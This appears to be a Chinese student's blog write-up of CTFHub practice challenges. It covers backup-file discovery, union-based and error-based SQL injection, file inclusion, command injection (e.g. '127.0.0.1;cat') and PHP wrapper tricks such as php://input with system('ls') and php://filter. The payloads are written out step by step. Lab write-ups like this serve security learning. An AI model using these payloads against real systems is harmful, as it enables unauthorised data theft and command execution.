第九周总结

1.ctfhub 网站源码

使用python脚本,一个个寻找,得到www.zip响应码为200,在浏览器中加入,得到flag

 2.ctfhub bak文件

使用蚂蚁剑进行搜索,得到index.php里面有东西,我们使用浏览器进行访问,

 

 得到flag

ctfhub sql注入整数型注入

 先试试是否存在注入

?id=1 and 1=1

?id=1 and 1=2

 存在注入

接下来判断字段数

?id=1 order by 1

?id=1 order by 2

?id=1 order by 3

然而3的之后报错了,说明字段数为2

接下来爆破数据库

?id=1 and 1=2 union select 1,database()

爆表名
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

 爆出两个表,一个news一个flag很明显,flag就藏在这里了。

爆字段名

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

 最后一步爆值

?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

ctfhub 字符型注入

1' and 1=1 #         #返回正确  
1' and 1=2 #         #返回错误
 
单引号是为了和前面自带的形成闭合
#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误

输入2时报错了,可以看出存在注入点

 接下来我们猜字段数

  1. 1' order by 1 #

  2. 1' order by 2 #

  3. 1' order by 3 #

 

 当为1' order by 3 # 报错,说明有两个字段

接下来爆数据库名

-1' union select user(),database() #

 得到数据库名 sqli

接下来爆表名

-1' union select 999,group_concat(table_name)from information_schema.tables where table_schema='sqli' #

得到表名 news flag

爆列名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

得到flag

ctfhub 报错注入

根据mysql自带的数据库information_schema: 得数据库名,再得表名,列名,最后查flag

1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

表不止一个,得一个个去查

1 Union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

1 Union select count(*),concat((select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

 得到列名flag

1 Union select count(*),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

得到flag

 4.ctfhub 文件包含

request=get+post,

令file=shell.txt,然后查找根目录,看出了有flag

 我们使用cat命令查找,flag

ctfhub 命令注入

输入127.0.0.1;ls查看根目录

然后我们需要拼接ip,我们使用cat命令进行操作,127.0.0.1;cat 56041130715196.php

按f12找到flag

ctfhub php://input

 我们crtl输入allow查看

 打开了,我们可以使用伪协议php://input    和<?php system('ls') ?>

 使用命令执行的方式,得到flag

.ctfhub 远程包含

老方法,先看看能不能使用伪协议

 

和上一题有点类似

得到flag

8.ctfhub 读取源代码

 一开始使用伪协议php://input,无反应,估计是allow关了,我们采用另外一种方式?file=php://filter/resource=/flag  得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值